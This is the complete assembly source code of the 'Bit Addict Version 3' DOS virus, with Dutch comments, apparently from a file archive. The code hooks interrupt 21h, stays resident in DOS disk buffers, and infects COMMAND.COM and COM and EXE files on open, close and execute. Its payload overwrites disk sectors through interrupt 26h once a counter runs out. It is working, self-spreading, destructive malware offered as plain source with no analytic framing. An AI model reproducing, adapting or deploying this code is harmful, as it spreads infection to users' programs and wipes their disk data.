home *** CD-ROM | disk | FTP | other *** search
- ; Bit Addict Versie 3
-
- ;-----------------------------------------------------------------------------
- ;----- -----
- ;----- Macros en andere hulpmiddellen -----
- ;----- -----
- ;-----------------------------------------------------------------------------
-
- ; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter
- ; wordt dan 128 bytes en er dus een foutmelding komt
-
- jmpc macro Dest ; vervanging voor jc
- local @@00
-
- jnc @@00
- jmp Dest
- @@00:
- endm
-
- jmpnc macro Dest ; vervanging voor jnc
- local @@00
-
- jc @@00
- jmp Dest
- @@00:
- endm
-
- jmpe macro Dest ; vervanging voor je
- local @@00
-
- jnz @@00
- jmp Dest
- @@00:
- endm
-
- jmpne macro Dest ; vervanging voor jne
- local @@00
-
- jz @@00
- jmp Dest
- @@00:
- endm
-
- eseg segment
- mov ax,4c00h ; exit
- int 21h
- eseg ends
-
- ;-----------------------------------------------------------------------------
- ;----- -----
- ;----- Begin van het Bit Addict virus -----
- ;----- -----
- ;-----------------------------------------------------------------------------
-
- cseg segment
- assume cs:cseg,ds:cseg,es:cseg
- org 0
-
- CodeSize equ CodeEnd-BeginCode
- CodeSizePara equ (CodeEnd-BeginCode+0fh) / 10h
- VirusSize equ VirusEnd-BeginCode
- VirusSizePara equ (VirusEnd-BeginCode+0fh) / 10h
- HeaderLength equ 18h
-
- BeginCode equ $
- SavedCode equ this byte ; gegevens over het
- OldSignature dw 5a4dh ; programma voor het virus
- OldCSIP equ this dword
- OldIP dw 0
- OldCS dw 0
- OldSP dw 200h
- OldSS dw 0
- dw 3 dup(0)
-
- Comspec db 'COMSPEC=' ; comspec environment variabele
- ; om de command.com te vinden
-
- ID db 'Bit Addict Version 3'
- ID_Length equ $-offset ID
-
- Count dw 0
- Bios db 10h dup(0)
- ChkSum dw 0
-
- Begin: push ax ; Programma om het virus
- push bx ; in het geheugen te zetten
- push cx
- push dx
- push si
- push di
- push ds
- push es
- call Init
- jnc @@12
- call BiosCheck
- push cs
- pop es
- xor al,al
- mov cx,VirusSize-CodeSize
- mov di,CodeSize
- cld
- rep stosb
- call DebugOn
- mov ah,52h ; lees het adres van de eerste
- call DOS ; disk-buffer
- push bx
- mov ah,30h
- call DOS
- pop di
- call DebugOff
- cmp al,2 ; dit werkt niet op dos 1.x
- jb @@12
- cmp al,3 ; voor dos 2.x op di+13h en
- adc di,12h ; voor dos 3+ op di+12h
- lds si,es:[di]
- or si,si
- jne @@12
- push di
- cld
- movsw ; reserveer 1e buffer
- movsw
- pop di
- mov cx,ds
- mov dx,ds
- mov bx,3
- @@10: call GetBuffer ; reserveer 2e,3e en 4e
- jc @@11 ; buffer
- dec bx
- jne @@10
- call CopyBitAddict ; Copieer bit addict naar
- pop es ; de buffers
- push es ; Infecteer bestand in de
- call InfectComspec ; comspec
- jmp short @@12
- @@11: call RestoreBuffers
- @@12: pop es ; ga nu verder met het
- pop ds ; programma voor Bit Addict
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- cli
- mov ss,cs:OldSS
- mov sp,cs:OldSP
- sti
- jmp cs:OldCSIP
-
- GetBuffer: ; reserveer een buffer
- push di ; cx = eerste buffer
- push es ; dx = laatste buffer
- jmp short @@21
- @@20: push ds
- pop es
- mov di,si
- @@21: lds si,es:[di]
- or si,si
- jne @@23
- mov ax,ds
- sub ax,dx
- cmp ax,21h
- jne @@22
- mov dx,ds
- cld
- movsw
- movsw
- clc
- jmp short @@24
- @@22: mov ax,ds
- sub ax,cx
- neg ax
- cmp ax,21h
- jne @@20
- mov cx,ds
- cld
- movsw
- movsw
- clc
- jmp short @@24
- @@23: stc
- @@24: pop es
- pop di
- ret
-
- CopyBitAddict:
- push cs ; copieer Bit Addict naar de
- pop ds ; gereserveerde buffers
- mov es,cx
- xor si,si
- xor di,di
- mov cx,VirusSize
- cld
- rep movsb
- xor ax,ax ; leid interrupt 21h om naar
- mov ds,ax ; Bit Addict
- mov word ptr ds:[84h],offset NewInt21
- mov word ptr ds:[86h],es
- ret
-
- InfectComspec:
- mov es,es:[2ch] ; lees environment segment
- xor di,di
- push cs ; zoek naar de comspec
- pop ds ; variabele
- mov si,offset Comspec
- @@30: push si
- push di
- mov cx,8
- cld
- repe cmpsb
- pop di
- pop si
- je @@31
- xor al,al
- mov cx,-1
- cld
- repne scasb
- cmp byte ptr es:[di],0
- jne @@30
- jmp short @@32
- @@31: push es ; infecteer de COMMAND.COM of
- pop ds ; andere command interpreter
- lea dx,[di+8]
- push cs:OldIP
- push cs:OldCS
- push cs:OldSP
- push cs:OldSS
- call Infect
- pop cs:OldSS
- pop cs:OldSP
- pop cs:OldCS
- pop cs:OldIP
- @@32: ret
-
- RestoreBuffers:
- mov ax,cx
- @@40: cmp ax,dx
- je @@42
- mov ds,ax
- add ax,21h
- mov word ptr ds:[0],0
- mov word ptr ds:[2],ax
- jmp short @@40
- @@42: mov ds,dx
- mov ax,es:[di]
- mov ds:[0],ax
- mov word ptr es:[di],0
- mov ax,es:[di+2]
- mov ds:[2],ax
- mov es:[di+2],cx
- ret
-
- DebugOn:push ax
- push ds
- xor ax,ax
- mov ds,ax
- cli
- mov ax,ds:[4h]
- mov word ptr cs:OldInt1[0],ax
- mov ax,ds:[6h]
- mov word ptr cs:OldInt1[2],ax
- mov word ptr ds:[4],offset NewInt1
- mov word ptr ds:[6],cs
- mov ax,ds:[84h]
- mov word ptr cs:OldInt21[0],ax
- mov ax,ds:[86h]
- mov word ptr cs:OldInt21[2],ax
- mov word ptr cs:DosInt21[0],0
- mov word ptr cs:DosInt21[2],0
- sti
- pop ds
- pop ax
- pushf
- push cs
- call SetTrap
- ret
-
- SetTrap:push bp
- mov bp,sp
- or word ptr ss:[bp+6],100h
- pop bp
- iret
-
- DebugOff:
- pushf
- push cs
- call ClearTrap
- push ax
- push ds
- xor ax,ax
- mov ds,ax
- cli
- mov ax,word ptr cs:OldInt1[0]
- mov ds:[4],ax
- mov ax,word ptr cs:OldInt1[2]
- mov ds:[6],ax
- sti
- pop ds
- pop ax
- ret
-
- ClearTrap:
- push bp
- mov bp,sp
- and word ptr ss:[bp+6],0feffh
- pop bp
- iret
-
- Init: push cs
- pop ds
- cmp OldSignature,5a4dh
- je @@50
- mov si,offset SavedCode ; herstel begin van het
- mov di,100h ; com-programma
- mov cx,10h
- cld
- rep movsb
- mov OldSS,ss ; bewaar de waarden van
- mov OldSP,sp ; ss,sp,cs en ip
- sub OldSP,10h
- mov OldCS,es
- mov OldIP,100h
- jmp short @@51
- @@50: mov ax,es ; bereken de waarden van
- add ax,10h ; ss,sp,cs en ip
- add OldCS,ax
- add OldSS,ax
- @@51: mov ax,4b40h ; controleer of Bit Addict al
- int 21h ; in het geheugen aanwezig is
- jc @@52
- mov ds,ax
- push cs ; vergelijk identificatie
- pop ds
- mov si,offset ID
- mov di,si
- mov cx,ID_Length
- cld
- repe cmpsb
- je @@52
- stc
- @@52: ret
-
- BiosCheck:
- mov ax,0f000h
- mov ds,ax
- push cs
- pop es
- xor si,si
- mov di,offset Bios
- mov cx,10h
- cld
- repe cmpsb
- je @@54
- mov ax,cs:Count
- inc ax
- cmp ax,100h
- jb @@53
- call BitAddict
- @@53: mov cs:Count,ax
- xor si,si
- mov di,offset Bios
- mov cx,10h
- rep movsb
- @@54: ret
-
- BitAddict:
- xor dx,dx
- @@55: push dx
- mov ax,3
- xor bx,bx
- mov cx,40h
- int 26h
- pop ax
- pop dx
- add dx,40h
- or dx,dx
- jne @@55
- ret
-
- NewInt1:push bp
- mov bp,sp
- push ax
- mov ax,word ptr cs:DosInt21[0]
- or ax,word ptr cs:DosInt21[2]
- jnz @@60
- cmp word ptr ss:[bp+4],300h
- jae @@61
- mov ax,ss:[bp+2]
- mov word ptr cs:DosInt21[0],ax
- mov ax,ss:[bp+4]
- mov word ptr cs:DosInt21[2],ax
- @@60: and word ptr ss:[bp+6],0feffh
- @@61: pop ax
- pop bp
- iret
-
- DOS: push ax
- mov ax,word ptr cs:DosInt21[0]
- or ax,word ptr cs:DosInt21[2]
- pop ax
- jnz @@62
- pushf
- call cs:OldInt21
- ret
- @@62: pushf
- call cs:DosInt21
- ret
-
- InstallCheck: ; Zo kan bit addict weten
- mov ax,cs ; dat er al een andere copy
- popf ; aanwezig is
- clc
- retf 2
-
- Exec: call CheckExtension ; functie 4bh, infecteer eerst
- jc EOI ; met Bit Addict
- mov byte ptr cs:Active,1
- call Infect
- mov byte ptr cs:Active,0
- jmp short EOI
-
- NewInt21: ; Het nieuwe interrupt 21h
- pushf
- cmp byte ptr cs:Active,0
- jne EOI
- cmp ah,3dh
- je Open
- cmp ah,3ch
- je Open
- cmp ah,3eh
- je Close
- cmp ax,4b40h
- je InstallCheck
- cmp ah,4bh
- je Exec
- EOI: popf
- jmp cs:OldInt21
-
- Open: call CheckExtension
- jc EOI
- mov byte ptr cs:Active,1
- call cs:OldInt21
- jc @@92
- pushf
- push ax
- push cx
- push si
- push di
- push es
- push cs
- pop es
- mov si,dx
- mov di,offset File1
- cmp word ptr es:[di],0
- je @@90
- mov di,offset File2
- cmp word ptr es:[di],0
- jne @@91
- @@90: cld
- stosw
- mov cx,70
- rep movsb
- @@91: pop es
- pop di
- pop si
- pop cx
- pop ax
- popf
- @@92: mov byte ptr cs:Active,0
- retf 2
-
- Close: cmp bx,cs:File1
- je @@93
- cmp bx,cs:File2
- jne EOI
- mov byte ptr cs:Active,1
- call cs:OldInt21
- push si
- mov si,offset File2
- jmp short @@94
- @@93: mov byte ptr cs:Active,1
- call cs:OldInt21
- push si
- mov si,offset File1
- @@94: jc @@95
- pushf
- push dx
- push ds
- push cs
- pop ds
- lea dx,[si+2]
- call Infect
- pop ds
- pop dx
- popf
- @@95: mov word ptr cs:[si],0
- mov byte ptr cs:Active,0
- pop si
- retf 2
-
- CheckExtension:
- push ax
- push cx
- push si
- push di
- push es
- push ds
- pop es
- mov di,dx
- xor al,al
- mov cx,70
- cld
- repne scasb
- jne @@65
- std
- mov al,'.'
- neg cx
- add cx,70
- std
- repne scasb
- jne @@65
- lea si,[di+2]
- cld
- lodsw
- and ax,0dfdfh
- cmp ax,5845h ; 'EX'
- je @@64
- cmp ax,4f43h ; 'CO'
- jne @@65
- lodsb
- and al,0dfh
- cmp al,4dh ; 'M'
- je @@66
- jmp short @@65
- @@64: lodsb
- and al,0dfh
- cmp al,45h ; 'E'
- je @@66
- @@65: stc
- jmp short @@67
- @@66: clc
- @@67: pop es
- pop di
- pop si
- pop cx
- pop ax
- ret
-
- ComHeader: ; dit stukje wordt voor een
- mov ax,cs ; COM-file geplaatst
- add ax,0100h
- OldSize equ this word-2
- push ax
- mov ax,offset Begin
- push ax
- retf
-
- Infect: push ax ; Infecteer een file
- push bx
- push cx
- push si
- push di
- push bp
- push es
- mov ax,4300h ; lees attributen en bewaar
- call DOS ; ze
- jmpc @@83
- push cx
- push dx
- push ds
- test cx,1
- jz @@71
- mov ax,4301h ; set Read-Only attribuut
- and cx,0fffeh ; op nul
- call DOS
- jmpc @@82
- @@71: mov ax,3d02h ; open de file
- call DOS
- jmpc @@82
- mov bx,ax
- mov ax,5700h ; lees de datum en tijd en
- call DOS ; bewaar ze
- jmpc @@81
- push cx
- push dx
- push cs ; ds=es=cs
- pop ds
- push cs
- pop es
- mov ah,3fh ; lees de header van de file
- mov cx,HeaderLength
- mov dx,offset Header
- call DOS
- jmpc @@80
- cmp ax,HeaderLength
- jne @@75
- cmp Signature,5a4dh
- jne @@72
- mov ax,ExeCS ; zoek de plaats waar de
- add ax,HeaderSize ; identificatie zou moeten
- mov dx,10h ; staan voor exe-files
- mul dx
- add ax,offset ID
- adc dx,0
- jmp short @@73
- @@72: mov ax,ComCS ; doe hetzelfde maar dan voor
- mov dx,10h ; een com-file
- sub ax,dx
- mul dx
- add ax,offset ID
- adc dx,0
- @@73: mov cx,dx
- mov dx,ax
- mov ax,4200h
- call DOS
- jc @@74
- mov ah,3fh ; lees de ID indien aanwezig
- mov cx,ID_Length
- mov dx,offset ID_Check
- call DOS
- jc @@74
- cmp ax,ID_Length
- jne @@74
- mov si,offset ID_Check ; controleer of ID aanwezig
- mov di,offset ID ; is
- mov cx,ID_Length
- cld
- repe cmpsb
- jmpe @@80 ; als ID aanwezig is, stop dan
- @@74: cmp Signature,5a4dh
- je @@77
- @@75: mov ax,4202h ; infecteer com-files
- xor cx,cx ; ga naar het einde van de file
- xor dx,dx
- call DOS
- mov cx,10h ; aanpassen van de com-header
- div cx ; aan deze com-file
- or dx,dx
- je @@76
- push ax
- mov ah,40h
- mov cx,10h
- sub cx,dx
- xor dx,dx
- call DOS
- pop ax
- jmpc @@80
- inc ax
- @@76: add ax,10h
- mov OldSize,ax
- mov si,offset Header ; bewaar het eerste deel van
- mov di,offset SavedCode ; het programma
- mov cx,10h
- cld
- rep movsb
- mov ah,40h ; schrijf het virus achter het
- mov cx,CodeSize ; programma
- xor dx,dx
- call DOS
- jmpc @@80
- mov ax,4200h ; ga naar het begin van de file
- xor cx,cx
- xor dx,dx
- call DOS
- jmpc @@80
- mov ah,40h ; overschrijf het begin van het
- mov cx,10h ; programma met de com-header
- mov dx,offset ComHeader
- call DOS
- jmp @@80
- @@77: mov OldSignature,5a4dh ; infecteer exe-files
- mov ax,ExeIP ; bewaar de oude waarden van
- mov OldIP,ax ; cs:ip en ss:sp
- mov ax,ExeCS
- mov OldCS,ax
- mov ax,ExeSP
- mov OldSP,ax
- mov ax,ExeSS
- mov OldSS,ax
- mov ax,PageCount ; pas de waarden van cs:ip en
- dec ax ; ss:sp aan, en pas ook de
- mov cx,200h ; lengte van de file aan
- mul cx
- add ax,PartPage
- adc dx,0
- mov cx,dx
- mov dx,ax
- mov ax,4200h
- call DOS
- jmpc @@80
- push ax
- push dx
- mov ah,3fh
- mov cx,80h
- mov dx,offset Buffer
- int 21h
- mov cx,ax
- pop dx
- pop ax
- jmpc @@80
- cmp cx,80h
- jmpe @@80
- add ax,cx
- adc dx,0
- mov cx,10h
- div cx
- or dx,dx
- je @@78
- push ax
- push dx
- mov ah,40h
- mov cx,10h
- sub cx,dx
- xor dx,dx
- call DOS
- pop dx
- pop ax
- jc @@80
- inc ax
- @@78: sub ax,HeaderSize
- mov ExeCS,ax
- mov ExeIP,offset Begin
- add ax,VirusSizePara
- mov ExeSS,ax
- mov ExeSP,200h
- mov ax,MinMem
- cmp ax,20h+VirusSizePara-CodeSizePara
- jae @@79
- mov ax,20h
- @@79: mov MinMem,ax
- mov ax,PartPage
- add ax,CodeSize
- add ax,dx
- mov cx,200h
- xor dx,dx
- div cx
- add PageCount,ax
- mov PartPage,dx
- mov ah,40h ; schrijf het virus achter
- mov cx,CodeSize ; de exe-file, indien de
- xor dx,dx ; exe-file overlays bevat dan
- call DOS ; worden ze overschreven en is
- jc @@80 ; de exe-file onherstelbaar
- mov ax,4200h ; beschadigd
- xor cx,cx
- xor dx,dx ; ga naar het begin van de file
- call DOS
- jc @@80
- mov ah,40h ; schrijf de nieuwe exe-header
- mov cx,HeaderLength ; over de oude heen.
- mov dx,offset Header
- call DOS
- @@80: pop dx ; herstel de datum van de file
- pop cx
- mov ax,5701h
- call DOS
- @@81: mov ah,3eh ; sluit de file
- call DOS
- @@82: pop ds ; herstel de attributen van de
- pop dx ; file
- pop cx
- test cx,1
- jz @@83
- mov ax,4301h
- call DOS
- @@83: pop es ; herstel de waarden van de
- pop bp ; registers en keer terug
- pop di ; naar het oude interrupt 21
- pop si
- pop cx
- pop bx
- pop ax
- ret
-
- CodeEnd equ $
-
- Header dw HeaderLength/2 dup(?)
- ComCS equ Header[OldSize-Comheader] ; Com file
-
- Signature equ Header[0h] ; Exe file
- PartPage equ Header[2h]
- PageCount equ Header[4h]
- HeaderSize equ Header[8h]
- MinMem equ Header[0ah]
- MaxMem equ Header[0ch]
- ExeSS equ Header[0eh]
- ExeSP equ Header[10h]
- ExeIP equ Header[14h]
- ExeCS equ Header[16h]
-
- ID_Check db ID_Length dup(?)
-
- Active db ?
-
- DosInt21 dd ?
- OldInt21 dd ?
- OldInt1 dd ?
-
- File1 dw 36 dup(?)
- File2 dw 36 dup(?)
-
- Buffer db 80h dup(?)
-
- VirusEnd equ $
-
- cseg ends
-
- sseg segment stack
- db 200h dup(?)
- sseg ends
-
- end Begin